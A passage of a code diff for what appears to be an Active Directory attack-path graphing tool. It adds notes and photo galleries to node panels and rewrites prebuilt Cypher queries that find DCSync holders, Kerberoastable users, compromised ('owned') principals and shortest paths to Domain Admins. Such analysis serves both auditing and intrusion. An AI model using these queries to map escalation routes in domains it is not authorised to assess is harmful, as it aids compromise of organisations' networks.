+import sizeOf from "image-size";
+import md5File from "md5-file";
+import { remote } from "electron";
+const { app } = remote;
+import { join } from "path";
 
 export default class OuNodeData extends Component {
     constructor() {
@@ -11,62 +20,296 @@ export default class OuNodeData extends Component {
         this.state = {
             label: "",
             guid: "",
-            blocks: ""
+            blocks: "",
+            propertyMap: {},
+            displayMap: {
+                "description":"Description"
+            },
+            notes: null,
+            pics: [],
+            currentImage: 0,
+            lightboxIsOpen: false
         };
 
-        emitter.on('ouNodeClicked', this.getNodeData.bind(this));
+        emitter.on("ouNodeClicked", this.getNodeData.bind(this));
+        emitter.on("imageUploadFinal", this.uploadImage.bind(this));
+        emitter.on("clickPhoto", this.openLightbox.bind(this));
+        emitter.on("deletePhoto", this.handleDelete.bind(this));
+    }
+
+    componentDidMount() {
+        jQuery(this.refs.complete).hide();
+        jQuery(this.refs.piccomplete).hide();
     }
 
     getNodeData(payload, guid, blocksInheritance) {
-        let bi = ''+blocksInheritance;
-        bi = bi.toTitleCase()
+        jQuery(this.refs.complete).hide();
+        let bi = "" + blocksInheritance;
+        bi = bi.toTitleCase();
 
         this.setState({
             label: payload,
             guid: guid,
             blocks: bi
         });
+
+        let key = `ou_${this.state.guid}`;
+        let c = imageconf.get(key);
+        let pics = [];
+        if (typeof c !== "undefined"){
+            this.setState({pics: c})
+        }else{
+            this.setState({pics: pics})
+        }
+
+        let props = driver.session();
+        props
+            .run("MATCH (n:OU {guid:{name}}) RETURN n", { name: guid })
+            .then(
+                function(result) {
+                    var properties = result.records[0]._fields[0].properties;
+                    let notes;
+                    if (!properties.notes){
+                        notes = null;
+                    }else{
+                        notes = properties.notes;
+                    }
+                    this.setState({
+                        ServicePrincipalNames:[],
+                        propertyMap: properties,
+                        notes: notes
+                    });
+                    this.setState({ propertyMap: properties, notes: notes });
+                    props.close();
+                }.bind(this)
+            );
+    }
+
+    notesChanged(event){
+        this.setState({notes: event.target.value})
+    }
+
+    notesBlur(event){
+        let notes = this.state.notes === null || this.state.notes === "" ? null : this.state.notes;
+        let q = driver.session();
+        if (notes === null){
+            q.run("MATCH (n:OU {guid:{name}}) REMOVE n.notes", {name: this.state.guid}).then(x => {
+                q.close();
+            });
+        }else{
+            q.run("MATCH (n:OU {guid:{name}}) SET n.notes = {notes}", {name: this.state.guid, notes: this.state.notes}).then(x =>{
+                q.close();
+            });
+        }
+        let check = jQuery(this.refs.complete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    uploadImage(files) {
+        if (!this.props.visible || files.length === 0) {
+            return;
+        }
+        let p = this.state.pics;
+        let oLen = p.length;
+        let key = `ou_${this.state.guid}`;
+        
+        $.each(files, (_, f) => {
+            let exists = false;
+            let hash = md5File.sync(f.path);
+            $.each(p, (_, p1) => {
+                if (p1.hash === hash){
+                    exists = true;
+                }
+            })
+            if (exists){
+                emitter.emit("showAlert", "Image already exists");
+                return;
+            }
+            let path = join(app.getPath("userData"), "images", hash);
+            let dimensions = sizeOf(f.path);
+            let data = readFileSync(f.path);
+            writeFileSync(path, data);
+            p.push({hash: hash, src: path, width: dimensions.width, height: dimensions.height})
+        });
+
+        if (p.length === oLen){
+            return;
+        }
+        this.setState({pics: p});
+        imageconf.set(key, p)
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    handleDelete(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        let pics = this.state.pics;
+        let temp = pics[event.index];
+        pics.splice(event.index, 1);
+        this.setState({
+            pics: pics
+        })
+        let key = `ou_${this.state.guid}`;
+        imageconf.set(key, pics);
+        
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    openLightbox(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: event.index,
+            lightboxIsOpen: true
+        });
+    }
+    closeLightbox() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: 0,
+            lightboxIsOpen: false
+        });
+    }
+    gotoPrevious() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage - 1
+        });
+    }
+    gotoNext() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage + 1
+        });
     }
 
     render() {
+        let gallery;
+        if (this.state.pics.length === 0){
+            gallery = (<span>Drop pictures on here to upload!</span>)
+        }else{
+            gallery = (
+            <React.Fragment>
+                <Gallery
+                    photos={this.state.pics}
+                    ImageComponent={SelectedImage}
+                    className={"gallerymod"}
+                />
+                <Lightbox
+                    images={this.state.pics}
+                    isOpen={this.state.lightboxIsOpen}
+                    onClose={this.closeLightbox.bind(this)}
+                    onClickPrev={this.gotoPrevious.bind(this)}
+                    onClickNext={this.gotoNext.bind(this)}
+                    currentImage={this.state.currentImage}
+                />
+            </React.Fragment>)
+        }
+
         return (
             <div className={this.props.visible ? "" : "displaynone"}>
-                <dl className='dl-horizontal'>
-                    <dt>
-                        Ou
-                    </dt>
-                    <dd>
-                        {this.state.label}
-                    </dd>
-                    <dt>
-                        GUID
-                    </dt>
-                    <dd>
-                        {this.state.guid}
-                    </dd>
-                    <dt>
-                        Blocks Inheritance
-                    </dt>
-                    <dd>
-                        {this.state.blocks}
-                    </dd>
-                    <NodeCypherNoNumberLink query="MATCH p = (d)-[r:Contains*1..]->(o:OU {guid:{name}}) RETURN p" target={this.state.guid} property="See OU Within Domain Tree" />
-                    
+                <dl className="dl-horizontal">
+                    <dt>Ou</dt>
+                    <dd>{this.state.label}</dd>
+                    <dt>GUID</dt>
+                    <dd>{this.state.guid}</dd>
+                    <dt>Blocks Inheritance</dt>
+                    <dd>{this.state.blocks}</dd>
+                    <NodeProps
+                        properties={this.state.propertyMap}
+                        displayMap={this.state.displayMap}
+                        ServicePrincipalNames={[]}
+                    />
+                    <NodeCypherNoNumberLink
+                        query="MATCH p = (d)-[r:Contains*1..]->(o:OU {guid:{name}}) RETURN p"
+                        target={this.state.guid}
+                        property="See OU Within Domain Tree"
+                    />
+
                     <br />
 
                     <h4>Affecting GPOs</h4>
-                    <NodeCypherLink property="GPOs Directly Affecting This OU" target={this.state.guid} baseQuery={"MATCH p=(n:GPO)-[r:GpLink]->(o:OU {guid:{name}})"} />
-                    <NodeCypherLink property="GPOs Affecting This OU" target={this.state.guid} baseQuery={"MATCH p=(n:GPO)-[r:GpLink|Contains*1..]->(o:OU {guid:{name}})"} />
+                    <NodeCypherLink
+                        property="GPOs Directly Affecting This OU"
+                        target={this.state.guid}
+                        baseQuery={
+                            "MATCH p=(n:GPO)-[r:GpLink]->(o:OU {guid:{name}})"
+                        }
+                    />
+                    <NodeCypherLink
+                        property="GPOs Affecting This OU"
+                        target={this.state.guid}
+                        baseQuery={
+                            "MATCH p=(n:GPO)-[r:GpLink|Contains*1..]->(o:OU {guid:{name}})"
+                        }
+                    />
 
                     <h4>Descendant Objects</h4>
-                    <NodeCypherLink property="Total User Objects" target={this.state.guid} baseQuery={"MATCH p=(o:OU {guid:{name}})-[r:Contains*1..]->(n:User)"} distinct />
+                    <NodeCypherLink
+                        property="Total User Objects"
+                        target={this.state.guid}
+                        baseQuery={
+                            "MATCH p=(o:OU {guid:{name}})-[r:Contains*1..]->(n:User)"
+                        }
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Total Group Objects" target={this.state.guid} baseQuery={"MATCH p=(o:OU {guid:{name}})-[r:Contains*1..]->(n:Group)"} distinct />
+                    <NodeCypherLink
+                        property="Total Group Objects"
+                        target={this.state.guid}
+                        baseQuery={
+                            "MATCH p=(o:OU {guid:{name}})-[r:Contains*1..]->(n:Group)"
+                        }
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Total Computer Objects" target={this.state.guid} baseQuery={"MATCH p=(o:OU {guid:{name}})-[r:Contains*1..]->(n:Computer)"} distinct />
-                    
-                    <NodeCypherLink property="Sibling Objects within OU" target={this.state.guid} baseQuery={"MATCH (o1)-[r1:Contains]->(o2:OU {guid:{name}}) WITH o1 MATCH p=(d)-[r2:Contains*1..]->(o1)-[r3:Contains]->(n)"} distinct />
+                    <NodeCypherLink
+                        property="Total Computer Objects"
+                        target={this.state.guid}
+                        baseQuery={
+                            "MATCH p=(o:OU {guid:{name}})-[r:Contains*1..]->(n:Computer)"
+                        }
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Sibling Objects within OU"
+                        target={this.state.guid}
+                        baseQuery={
+                            "MATCH (o1)-[r1:Contains]->(o2:OU {guid:{name}}) WITH o1 MATCH p=(d)-[r2:Contains*1..]->(o1)-[r3:Contains]->(n)"
+                        }
+                        distinct
+                    />
                 </dl>
+                <div>
+                    <h4 className={"inline"}>Notes</h4>
+                    <i
+                        ref="complete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                <textarea onBlur={this.notesBlur.bind(this)} onChange={this.notesChanged.bind(this)} value={this.state.notes === null ? "" : this.state.notes} className={"node-notes-textarea"} ref="notes" />
+                <div>
+                    <h4 className={"inline"}>Pictures</h4>
+                    <i
+                        ref="piccomplete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                {gallery}
             </div>
         );
     }
@@ -74,4 +317,4 @@ export default class OuNodeData extends Component {
 
 OuNodeData.propTypes = {
     visible: PropTypes.bool.isRequired
-};
\ No newline at end of file
+};
diff --git a/src/components/SearchContainer/Tabs/PrebuiltQueries.json b/src/components/SearchContainer/Tabs/PrebuiltQueries.json
index fff637f..681201c 100644
--- a/src/components/SearchContainer/Tabs/PrebuiltQueries.json
+++ b/src/components/SearchContainer/Tabs/PrebuiltQueries.json
@@ -5,10 +5,10 @@
             "queryList": [
                 {
                     "final": true,
-                    "title": "Select a domain...",
-                    "query": "MATCH (n:Group) WHERE n.name =~ {name} WITH n MATCH p=(n)<-[r:MemberOf*1..]-(m) RETURN p",
+                    "query":
+                        "MATCH (n:Group) WHERE n.objectsid =~ {name} WITH n MATCH p=(n)<-[r:MemberOf*1..]-(m) RETURN p",
                     "props": {
-                        "name": "(?i).*DOMAIN ADMINS.*"
+                        "name": "(?i)S-1-5-.*-512"
                     },
                     "allowCollapse": false
                 }
@@ -20,66 +20,36 @@
                 {
                     "final": false,
                     "title": "Select a Domain Admin group...",
-                    "query": "MATCH (n:Group) WHERE n.name =~ {name} RETURN n.name ORDER BY n.name DESC",
+                    "query":
+                        "MATCH (n:Group) WHERE n.objectsid =~ {name} RETURN n.name ORDER BY n.name DESC",
                     "props": {
-                        "name": "(?i).*DOMAIN ADMINS.*"
+                        "name": "(?i)S-1-5-.*-512"
                     }
                 },
                 {
                     "final": true,
-                    "query": "MATCH (n:User),(m:Group {name:{result}}),p=shortestPath((n)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(m)) RETURN p",
+                    "query":
+                        "MATCH (n:User),(m:Group {name:{result}}),p=shortestPath((n)-[r:{}*1..]->(m)) RETURN p",
                     "allowCollapse": true,
-                    "endNode":"{}"
+                    "endNode": "{}"
                 }
             ]
         },
         {
-            "name": "Find logged in Admins",
+            "name": "Find Principals with DCSync Rights",
             "queryList": [
                 {
-                    "final": true,
-                    "query": "MATCH p=(a:Computer)-[r:HasSession]->(b:User) WITH a,b,r MATCH p=shortestPath((b)-[:AdminTo|MemberOf*1..]->(a)) RETURN p",
-                    "allowCollapse": true
-                }
-            ]
-        },
-        {
-            "name": "Top Ten Users with Most Sessions",
-            "queryList": [
+                    "final": false,
+                    "title": "Select a Domain...",
+                    "query":
+                        "MATCH (n:Domain) RETURN n.name ORDER BY n.name DESC"
+                },
                 {
                     "final": true,
-                    "query": "MATCH (n:User),(m:Computer), (n)<-[r:HasSession]-(m) WHERE NOT n.name STARTS WITH 'ANONYMOUS LOGON' AND NOT n.name='' WITH n, count(r) as rel_count order by rel_count desc LIMIT 10 MATCH p=(m)-[r:HasSession]->(n) RETURN p",
-                    "allowCollapse": true
-                }
-            ]
-        },
-        {
-            "name": "Top Ten Computers with Most Sessions",
-            "queryList": [
-                {
-                    "final": true,
-                    "query": "MATCH (n:User),(m:Computer), (n)<-[r:HasSession]-(m) WHERE NOT n.name STARTS WITH 'ANONYMOUS LOGON' AND NOT n.name='' WITH m, count(r) as rel_count order by rel_count desc LIMIT 10 MATCH p=(m)-[r:HasSession]->(n) RETURN n,r,m",
-                    "allowCollapse": true
-                }
-            ]
-        },
-        {
-            "name": "Top Ten Users with Most Local Admin Rights",
-            "queryList": [
-                {
-                    "final": true,
-                    "query": "MATCH (n:User),(m:Computer), (n)-[r:AdminTo]->(m) WHERE NOT n.name STARTS WITH 'ANONYMOUS LOGON' AND NOT n.name='' WITH n, count(r) as rel_count order by rel_count desc LIMIT 10 MATCH p=(m)<-[r:AdminTo]-(n) RETURN p",
-                    "allowCollapse": true
-                }
-            ]
-        },
-        {
-            "name": "Top Ten Computers with Most Admins",
-            "queryList": [
-                {
-                    "final": true,
-                    "query": "MATCH (n:User),(m:Computer), (n)-[r:AdminTo]->(m) WHERE NOT n.name STARTS WITH 'ANONYMOUS LOGON' AND NOT n.name='' WITH m, count(r) as rel_count order by rel_count desc LIMIT 10 MATCH p=(m)<-[r:AdminTo]-(n) RETURN p",
-                    "allowCollapse": true
+                    "query":
+                        "MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain {name: {result}}) WITH p,n1 MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u:Domain {name: {result}}) WITH p,p2 MATCH p3=(n2)-[:MemberOf|GenericAll|AllExtendedRights*1..]->(u:Domain {name: {result}}) RETURN p,p2,p3",
+                    "allowCollapse": true,
+                    "endNode": "{}"
                 }
             ]
         },
@@ -89,11 +59,13 @@
                 {
                     "final": false,
                     "title": "Select source domain...",
-                    "query": "MATCH (n:Domain) RETURN n.name ORDER BY n.name DESC"
+                    "query":
+                        "MATCH (n:Domain) RETURN n.name ORDER BY n.name DESC"
                 },
                 {
                     "final": true,
-                    "query": "MATCH (n:User) WITH n MATCH (m:Group) WITH n,m MATCH p=(n)-[r:MemberOf]->(m) WHERE n.domain={result} AND NOT m.domain=n.domain RETURN p",
+                    "query":
+                        "MATCH (n:User) WITH n MATCH (m:Group) WITH n,m MATCH p=(n)-[r:MemberOf]->(m) WHERE n.domain={result} AND NOT m.domain=n.domain RETURN p",
                     "startNode": "{}",
                     "allowCollapse": false
                 }
@@ -105,11 +77,13 @@
                 {
                     "final": false,
                     "title": "Select source domain...",
-                    "query": "MATCH (n:Domain) RETURN n.name ORDER BY n.name DESC"
+                    "query":
+                        "MATCH (n:Domain) RETURN n.name ORDER BY n.name DESC"
                 },
                 {
                     "final": true,
-                    "query": "MATCH (n:Group) WITH n MATCH (m:Group) WITH n,m MATCH p=(n)-[r:MemberOf]->(m) WHERE n.domain={result} AND NOT m.domain=n.domain AND NOT n.name=m.name RETURN p",
+                    "query":
+                        "MATCH (n:Group) WITH n MATCH (m:Group) WITH n,m MATCH p=(n)-[r:MemberOf]->(m) WHERE n.domain={result} AND NOT m.domain=n.domain AND NOT n.name=m.name RETURN p",
                     "startNode": "{}",
                     "allowCollapse": false
                 }
@@ -126,40 +100,115 @@
             ]
         },
         {
-            "name": "Shortest Path from SPN User",
-            "queryList":[
+            "name": "Shortest Paths to Unconstrained Delegation Systems",
+            "queryList": [
+                {
+                    "final": true,
+                    "query": "MATCH (m:Computer) WHERE m.unconstraineddelegation=true MATCH (n) MATCH p=shortestPath((n)-[r:{}*1..]->(m)) WHERE NOT m=n RETURN p"
+                }
+            ]
+        },
+        {
+            "name": "Shortest Paths from Kerberoastable Users",
+            "queryList": [
                 {
                     "final": false,
-                    "title":"Select a domain...",
-                    "query":"MATCH (n:Domain) RETURN n.name ORDER BY n.name DESC"
+                    "title": "Select a domain...",
+                    "query":
+                        "MATCH (n:Domain) RETURN n.name ORDER BY n.name DESC"
                 },
                 {
                     "final": false,
                     "title": "Select a user",
-                    "query": "MATCH (n:User) WHERE n.domain={result} AND n.HasSPN=true RETURN n.name, n.PwdLastSet ORDER BY n.PwdLastSet ASC"
+                    "query":
+                        "MATCH (n:User) WHERE n.domain={result} AND n.hasspn=true RETURN n.name, n.PwdLastSet ORDER BY n.PwdLastSet ASC"
                 },
                 {
                     "final": true,
-                    "query": "MATCH n=shortestPath((a:User {name:{result}})-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(b:Computer)) RETURN n",
-                    "startNode":"{}",
+                    "query":
+                        "MATCH n=shortestPath((a:User {name:{result}})-[r:{}*1..]->(b:Computer)) RETURN n",
+                    "startNode": "{}",
                     "allowCollapse": true
                 }
             ]
         },
         {
-            "name": "Shortest Paths to Domain Admins from SPN Users",
+            "name": "Shortest Paths to Domain Admins from Kerberoastable Users",
             "queryList": [
                 {
                     "final": false,
                     "title": "Select a Domain Admin group...",
-                    "query": "MATCH (n:Group) WHERE n.name =~ {name} RETURN n.name ORDER BY n.name DESC",
+                    "query":
+                        "MATCH (n:Group) WHERE n.objectsid =~ {name} RETURN n.name ORDER BY n.name DESC",
                     "props": {
-                        "name": "(?i).*DOMAIN ADMINS.*"
+                        "name": "(?i)S-1-5-.*-512"
                     }
                 },
                 {
                     "final": true,
-                    "query": "MATCH (n:User),(m:Group {name:{result}}),p=shortestPath((n)-[r:MemberOf|AdminTo|HasSession|Contains|GpLink|Owns|DCSync|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner*1..]->(m)) WHERE n.HasSPN=true RETURN p",
+                    "query":
+                        "MATCH (n:User),(m:Group {name:{result}}),p=shortestPath((n)-[r:{}*1..]->(m)) WHERE n.hasspn=true RETURN p",
+                    "allowCollapse": true,
+                    "endNode": "{}"
+                }
+            ]
+        },
+        {
+            "name": "Shortest Path from Owned Principals",
+            "queryList": [
+                {
+                    "final": false,
+                    "title": "Select a domain...",
+                    "query":
+                        "MATCH (n:Domain) RETURN n.name ORDER BY n.name DESC"
+                },
+                {
+                    "final": false,
+                    "title": "Select a user",
+                    "query":
+                        "MATCH (n) WHERE n.domain={result} AND n.owned=true RETURN n.name, n.PwdLastSet ORDER BY n.PwdLastSet ASC"
+                },
+                {
+                    "final": true,
+                    "query":
+                        "MATCH n=shortestPath((a {name:{result}})-[r:{}*1..]->(b:Computer)) RETURN n",
+                    "startNode": "{}",
+                    "allowCollapse": true
+                }
+            ]
+        },{
+            "name": "Shortest Paths to Domain Admins from Owned Principals",
+            "queryList": [
+                {
+                    "final": false,
+                    "title": "Select a Domain Admin group...",
+                    "query":
+                        "MATCH (n:Group) WHERE n.objectsid =~ {name} RETURN n.name ORDER BY n.name DESC",
+                    "props": {
+                        "name": "(?i)S-1-5-.*-512"
+                    }
+                },
+                {
+                    "final": true,
+                    "query":
+                        "MATCH (n),(m:Group {name:{result}}),p=shortestPath((n)-[r:{}*1..]->(m)) WHERE n.owned=true RETURN p",
+                    "allowCollapse": true,
+                    "endNode": "{}"
+                }
+            ]
+        },
+        {
+            "name": "Shortest Paths to High Value Targets",
+            "queryList": [
+                {
+                    "final": false,
+                    "title": "Select a Domain",
+                    "query": "MATCH (n:Domain) RETURN n.name ORDER BY n.name DESC"
+                },
+                {
+                    "final": true,
+                    "query":
+                        "MATCH (n),(m),p=shortestPath((n)-[r:{}*1..]->(m)) WHERE m.domain={result} AND m.highvalue=true AND NOT m = n RETURN p",
                     "allowCollapse": true,
                     "endNode": "{}"
                 }
diff --git a/src/components/SearchContainer/Tabs/PrebuiltQueriesDisplay.jsx b/src/components/SearchContainer/Tabs/PrebuiltQueriesDisplay.jsx
index dc39a52..50d2ea1 100644
--- a/src/components/SearchContainer/Tabs/PrebuiltQueriesDisplay.jsx
+++ b/src/components/SearchContainer/Tabs/PrebuiltQueriesDisplay.jsx
@@ -1,14 +1,14 @@
-import React, { Component } from 'react';
-import PrebuiltQueryNode from './PrebuiltQueryNode';
-import { If, Then, Else } from 'react-if';
-const { app } = require('electron').remote;
-var fs = require('fs');
-var path = require('path');
-var process = require('process');
-var exec = require('child_process').exec;
+import React, { Component } from "react";
+import PrebuiltQueryNode from "./PrebuiltQueryNode";
+import { If, Then, Else } from "react-if";
+import { remote } from "electron";
+const { app } = remote;
+import { join } from "path";
+import { platform } from "process";
+import { exec } from "child_process";
 
 export default class PrebuiltQueriesDisplay extends Component {
-    constructor(){
+    constructor() {
         super();
 
         this.state = {
@@ -19,13 +19,13 @@ export default class PrebuiltQueriesDisplay extends Component {
 
     componentWillMount() {
         $.ajax({
-            url: path.join(app.getPath('userData'), '/customqueries.json'),
-            type: 'GET',
-            success: function (response) {
+            url: join(app.getPath("userData"), "/customqueries.json"),
+            type: "GET",
+            success: function(response) {
                 var x = JSON.parse(response);
                 var y = [];
 
-                $.each(x.queries, function (index, el) {
+                $.each(x.queries, function(_, el) {
                     y.push(el);
                 });
 
@@ -34,13 +34,13 @@ export default class PrebuiltQueriesDisplay extends Component {
         });
 
         $.ajax({
-            url: 'src/components/SearchContainer/Tabs/PrebuiltQueries.json',
-            type: 'GET',
-            success: function (response) {
+            url: "src/components/SearchContainer/Tabs/PrebuiltQueries.json",
+            type: "GET",
+            success: function(response) {
                 var x = JSON.parse(response);
                 var y = [];
 
-                $.each(x.queries, function (index, el) {
+                $.each(x.queries, function(_, el) {
                     y.push(el);
                 });
 
@@ -50,64 +50,88 @@ export default class PrebuiltQueriesDisplay extends Component {
     }
 
     getCommandLine() {
-        switch (process.platform) { 
-            case 'darwin' : return 'open';
-            case 'win32' : return '';
-            case 'win64' : return '';
-            default : return 'xdg-open';
+        switch (platform) {
+            case "darwin":
+                return "open";
+            case "win32":
+                return "";
+            case "win64":
+                return "";
+            default:
+                return "xdg-open";
         }
     }
 
-    editCustom(){
-        exec(this.getCommandLine() + ' "' + path.join(app.getPath('userData'),'/customqueries.json') + '"');
+    editCustom() {
+        exec(
+            this.getCommandLine() +
+                ' "' +
+                join(app.getPath("userData"), "/customqueries.json") +
+                '"'
+        );
     }
 
-    refreshCustom(){
+    refreshCustom() {
         $.ajax({
-            url: path.join(app.getPath('userData'),'/customqueries.json'),
-            type: 'GET',
-            success: function(response){
+            url: join(app.getPath("userData"), "/customqueries.json"),
+            type: "GET",
+            success: function(response) {
                 var x = JSON.parse(response);
                 var y = [];
 
                 $.each(x.queries, function(index, el) {
                     y.push(el);
                 });
-                
-                this.setState({custom: y});
+
+                this.setState({ custom: y });
             }.bind(this)
         });
     }
 
-    
-
     render() {
         return (
             <div>
-                <h3>
-                    Pre-Built Analytics Queries
-                </h3>
+                <h3>Pre-Built Analytics Queries</h3>
                 <div className="query-box">
-                    {this.state.queries.map(function(a){
-                        return <PrebuiltQueryNode key={a.name} info={a} />
+                    {this.state.queries.map(function(a) {
+                        return <PrebuiltQueryNode key={a.name} info={a} />;
                     })}
                 </div>
                 <h3>
                     Custom Queries
-                    <i className="glyphicon glyphicon-pencil customQueryGlyph" data-toggle="tooltip" title="Edit Queries" onClick={this.editCustom.bind(this)} />
-                    <i className="glyphicon glyphicon-refresh customQueryGlyph" onClick={this.refreshCustom.bind(this)} style={{"paddingLeft": "5px"}} data-toggle="tooltip" title="Refresh Queries" />
+                    <i
+                        className="glyphicon glyphicon-pencil customQueryGlyph"
+                        data-toggle="tooltip"
+                        title="Edit Queries"
+                        onClick={this.editCustom.bind(this)}
+                    />
+                    <i
+                        className="glyphicon glyphicon-refresh customQueryGlyph"
+                        onClick={this.refreshCustom.bind(this)}
+                        style={{ paddingLeft: "5px" }}
+                        data-toggle="tooltip"
+                        title="Refresh Queries"
+                    />
                 </h3>
                 <div className="query-box">
                     <If condition={this.state.custom.length === 0}>
-                    <Then><div>No user defined queries.</div></Then>
-                    <Else>{() =>
-                        <div>
-                        {this.state.custom.map(function(a){
-                            return <PrebuiltQueryNode key={a.name} info={a} />
-                        })}
-                        </div>
-                    }
-                    </Else>
+                        <Then>
+                            <div>No user defined queries.</div>
+                        </Then>
+                        <Else>
+                            {() => (
+                                <div>
+                                    {this.state.custom.map(function(a) {
+                                        return (
+                                            <PrebuiltQueryNode
+                                                key={a.name}
+                                                info={a}
+                                            />
+                                        );
+                                    })}
+                                </div>
+                            )}
+                        </Else>
                     </If>
                 </div>
             </div>
diff --git a/src/components/SearchContainer/Tabs/PrebuiltQueryNode.jsx b/src/components/SearchContainer/Tabs/PrebuiltQueryNode.jsx
index b94b407..982cfc0 100644
--- a/src/components/SearchContainer/Tabs/PrebuiltQueryNode.jsx
+++ b/src/components/SearchContainer/Tabs/PrebuiltQueryNode.jsx
@@ -1,19 +1,23 @@
-import React, { Component } from 'react';
+import React, { Component } from "react";
 
 export default class PrebuiltQueryNode extends Component {
     render() {
         var c;
-        
-        c = function(){
-            if (appStore.prebuiltQuery.length === 0){
-                appStore.prebuiltQuery = JSON.parse(JSON.stringify(this.props.info.queryList));
-                emitter.emit('prebuiltQueryStart');
+
+        c = function() {
+            if (appStore.prebuiltQuery.length === 0) {
+                appStore.prebuiltQuery = JSON.parse(
+                    JSON.stringify(this.props.info.queryList)
+                );
+                emitter.emit("prebuiltQueryStart");
             }
         }.bind(this);
 
         return (
             <div>
-                <a href="#" onClick={c}>{this.props.info.name}</a>
+                <a href="#" onClick={c}>
+                    {this.props.info.name}
+                </a>
                 <br />
             </div>
         );
diff --git a/src/components/SearchContainer/Tabs/SelectedImage.jsx b/src/components/SearchContainer/Tabs/SelectedImage.jsx
new file mode 100644
index 0000000..532f96a
--- /dev/null
+++ b/src/components/SearchContainer/Tabs/SelectedImage.jsx
@@ -0,0 +1,40 @@
+import React, { Component } from "react";
+const {clipboard} = require('electron')
+
+export default class SelectedImage extends Component {
+    constructor(){
+        super()
+    }
+
+    componentDidMount(){
+    }
+
+    click(e, del){
+        let o = {
+            index: this.props.index,
+            photo: this.props.photo
+        }
+
+        if (del){
+            emitter.emit("deletePhoto", o);
+        }else{
+            emitter.emit("clickPhoto", o);
+        }
+    }
+    
+    render(){
+        let style = {
+            margin: this.props.margin,
+            cursor: "pointer",
+            height: this.props.photo.height,
+            width: this.props.photo.width,
+            position: "relative"
+        };
+
+        return (<div style={style} className="gallery-img">
+            <i className="fa fa-copy" onClick={x => {emitter.emit("showAlert", "Copied file path to clipboard");clipboard.writeText(this.props.photo.src)}} />
+            <i className="fa fa-trash-alt" onClick={e => this.click(e, true)} />
+            <img className={"gallery-img"} onClick={e => this.click(e, false)} {...this.props.photo} style={style} />
+        </div>);
+    }
+}
\ No newline at end of file
diff --git a/src/components/SearchContainer/Tabs/UserNodeData.jsx b/src/components/SearchContainer/Tabs/UserNodeData.jsx
index 1cf31eb..670b10c 100644
--- a/src/components/SearchContainer/Tabs/UserNodeData.jsx
+++ b/src/components/SearchContainer/Tabs/UserNodeData.jsx
@@ -1,30 +1,148 @@
-import React, { Component } from 'react';
-import NodePropItem from './NodePropItem';
-import PropTypes from 'prop-types';
-import NodeProps from './NodeProps';
-import NodeCypherLink from './NodeCypherLink';
-import NodeCypherNoNumberLink from './NodeCypherNoNumberLink';
-import NodeCypherLinkComplex from './NodeCypherLinkComplex';
-
-import { If, Then, Else } from 'react-if';
+import React, { Component } from "react";
+import PropTypes from "prop-types";
+import NodeProps from "./NodeProps";
+import NodeCypherLink from "./NodeCypherLink";
+import NodeCypherNoNumberLink from "./NodeCypherNoNumberLink";
+import NodeCypherLinkComplex from "./NodeCypherLinkComplex";
+import Gallery from "react-photo-gallery";
+import SelectedImage from "./SelectedImage";
+import Lightbox from "react-images";
+import { readFileSync, writeFileSync } from "fs";
+import sizeOf from "image-size";
+import md5File from "md5-file";
+import { remote } from "electron";
+const { app } = remote;
+import { join } from "path";
 
 export default class UserNodeData extends Component {
-    constructor(){
+    constructor() {
         super();
 
         this.state = {
             label: "",
-            driversessions : [],
+            driversessions: [],
             propertyMap: {},
             ServicePrincipalNames: [],
-            displayMap: {"DisplayName":"Display Name", "PwdLastSet":"Password Last Changed", "LastLogon": "Last Logon", "Enabled":"Enabled","Email":"Email", "Title":"Title", "HomeDir":"Home Directory"}
+            AllowedToDelegate: [],
+            displayMap: {
+                displayname: "Display Name",
+                pwdlastset: "Password Last Changed",
+                lastlogon: "Last Logon",
+                enabled: "Enabled",
+                email: "Email",
+                title: "Title",
+                homedirectory: "Home Directory",
+                description: "Description",
+                userpassword: "User Password",
+                admincount: "AdminCount",
+                owned: "Compromised"
+            },
+            notes: null,
+            pics: [],
+            currentImage: 0,
+            lightboxIsOpen: false
         };
 
-        emitter.on('userNodeClicked', this.getNodeData.bind(this));
+        emitter.on("userNodeClicked", this.getNodeData.bind(this));
+        emitter.on("imageUploadFinal", this.uploadImage.bind(this));
+        emitter.on("clickPhoto", this.openLightbox.bind(this));
+        emitter.on("deletePhoto", this.handleDelete.bind(this));
     }
 
-    getNodeData(payload){
-        $.each(this.state.driversessions,function(index, record){
+    uploadImage(files) {
+        if (!this.props.visible || files.length === 0) {
+            return;
+        }
+        let p = this.state.pics;
+        let oLen = p.length;
+        let key = `user_${this.state.label}`;
+        
+        $.each(files, (_, f) => {
+            let exists = false;
+            let hash = md5File.sync(f.path);
+            $.each(p, (_, p1) => {
+                if (p1.hash === hash){
+                    exists = true;
+                }
+            })
+            if (exists){
+                emitter.emit("showAlert", "Image already exists");
+                return;
+            }
+            let path = join(app.getPath("userData"), "images", hash);
+            let dimensions = sizeOf(f.path);
+            let data = readFileSync(f.path);
+            writeFileSync(path, data);
+            p.push({hash: hash, src: path, width: dimensions.width, height: dimensions.height})
+        });
+
+        if (p.length === oLen){
+            return;
+        }
+        this.setState({pics: p});
+        imageconf.set(key, p)
